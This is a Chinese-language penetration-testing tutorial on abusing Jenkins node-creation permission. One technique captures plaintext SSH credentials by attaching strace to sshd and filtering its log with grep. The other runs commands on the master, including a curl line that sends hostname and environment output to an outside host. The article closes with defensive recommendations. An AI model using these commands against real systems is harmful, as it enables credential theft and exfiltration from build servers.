Jenkins :添加node权限获取凭据、执行命令
字数 961 2025-08-10 13:48:22
Jenkins安全研究:通过添加Node节点获取凭据与执行命令
1. 概述
本文详细分析Jenkins系统中通过添加Node节点实现的两个安全相关操作:
- 获取明文凭据的技术
- 通过节点配置执行任意命令的方法
2. 环境前提
- 拥有Jenkins agent权限的账号
- Jenkins主站默认作为master节点
- 能够添加新的node节点
3. 通过添加Node节点获取明文凭据
3.1 操作步骤
-
新建节点:
- 访问"Manage Nodes"功能
- 创建新节点
-
配置节点参数:
- 填写工作目录
- 选择"通过SSH进行远程节点身份认证"
- 选择带有星号(*)标记的凭据
- Host key验证选择"不进行验证"
-
设置监听:
- 在目标主机上设置SSH监听(示例使用strace后门):
strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log & -
保存配置:
- 保存节点配置后,Jenkins会向目标主机发起SSH请求
-
获取凭据:
- 查看认证日志中的账号密码信息
- 使用以下命令筛选密码(需自行判断起始位置):
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
3.2 技术要点
- 利用SSH认证过程获取明文凭据
- 需要提前在目标主机设置监听
- 获取的密码需要人工判断有效部分
4. 通过添加节点执行命令
4.1 操作步骤
-
节点配置:
- 在添加节点时配置在master上执行的命令
- 可用于其他节点认证或执行任意命令
-
命令执行限制:
- 不能直接使用反引号执行系统命令
- 示例替代方案:
curl -k ip:9090/`hostname`/`pwd`env -
通过master执行命令:
- 在"Launch method"中选择"通过在master上执行命令的方式"
- 保存配置并启动agent
-
查看执行结果:
- 在Log中查看命令输出(如env命令的环境变量输出)
4.2 技术要点
- 利用节点配置中的命令执行功能
- 需要绕过直接命令执行的限制
- 执行结果可通过日志查看
5. 防御建议
-
权限控制:
- 严格限制拥有添加节点权限的账号
- 实施最小权限原则
-
认证安全:
- 避免使用明文凭据
- 启用Host key验证
-
日志监控:
- 监控异常节点添加行为
- 审计命令执行日志
-
系统加固:
- 限制master节点的命令执行能力
- 定期审查节点配置
6. 总结
本文详细介绍了两种利用Jenkins节点配置功能实现的安全操作技术,这些技术可用于渗透测试和安全评估,同时也强调了相关防御措施的重要性。安全团队应充分了解这些技术以更好地保护Jenkins环境。